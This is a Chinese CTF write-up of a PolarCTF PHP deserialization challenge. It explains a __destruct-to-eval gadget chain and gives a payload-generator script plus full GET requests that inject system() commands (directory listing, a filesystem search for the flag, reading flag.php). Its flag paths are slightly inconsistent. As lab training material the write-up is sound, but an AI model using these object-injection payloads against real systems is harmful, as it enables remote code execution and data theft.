Polar Web【中等】反序列化

Polar Web【中等】反序列化

Contents

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval()
    • 能够触发 close() 调用的方式 ------ 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

EXP

PHP生成Payload

php 复制代码
<?php
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
	
	$a = new example();
	$a->handle = new process();
	// 	$a->handle->pid = "system('ls');";
	// 	$a->handle->pid = "system('find / | grep flag');";
	$a->handle->pid = "system('cat /var/www/html/flag.php');";
	
	echo serialize($a);
?>



GET传递参数

python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点

敬,不完美的明天

相关推荐
少陽君1 小时前
Python 并发编程:IO 等待用线程/asyncio,CPU 计算才用进程
数据库·python·php
Bruce_Liuxiaowei2 小时前
从两个中危漏洞读懂 CVSS 评分体系:向量拆解、数学计算与实战观察
安全·网络安全·漏洞评级
盛世宏博智慧档案3 小时前
高速 ETC 门架外场机房温湿度远程监测解决方案
服务器·数据库·php·高度·高速·温湿度
许彰午3 小时前
34-安全复盘96个问题
前端·vue.js·安全
祁白_4 小时前
防御引擎绕过方法
笔记·web安全·php·防御引擎
数据知道4 小时前
AES 加密实战——模式选择(ECB/CBC/GCM)与安全陷阱
前端·网络·安全
合天网安实验室5 小时前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
科技云报道5 小时前
AI时代重新定义“信任”,瑞数信息发布全新AI安全产品体系
人工智能·安全
一只鹿鹿鹿6 小时前
信息网络安全建设方案(PPT文件)
大数据·安全·web安全·系统安全·制造
evans在进步6 小时前
IP 网络基础详解:路由、ICMP、NAT、子网与 VLAN
网络·tcp/ip·php